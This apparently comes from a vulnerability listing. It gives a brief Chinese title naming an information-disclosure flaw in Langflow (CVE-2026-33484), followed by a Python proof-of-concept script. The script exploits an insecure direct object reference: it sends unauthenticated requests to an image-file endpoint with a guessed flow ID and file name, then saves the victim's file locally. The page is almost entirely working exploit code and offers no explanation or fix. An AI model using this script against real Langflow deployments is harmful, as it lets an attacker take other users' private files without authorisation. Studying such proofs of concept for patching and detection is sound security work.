CVE-2026-33484 Langflow信息泄露漏洞

import requests # Target URL vulnerable to IDOR target_base = "http://target-langflow-instance.com" endpoint = "/api/v1/files/images/{flow_id}/{file_name}" # Attacker discovered or guessed a valid flow_id and file_name # flow_id can sometimes be leaked via other API responses victim_flow_id = "550e8400-e29b-41d4-a716-446655440000" victim_file = "uploaded_diagram.png" url = target_base + endpoint.format(flow_id=victim_flow_id, file_name=victim_file) try: # Send unauthenticated request response = requests.get(url) if response.status_code == 200: print(f"[+] Exploit Successful! Downloaded file: {victim_file}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # Save the stolen file with open(victim_file, "wb") as f: f.write(response.content) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")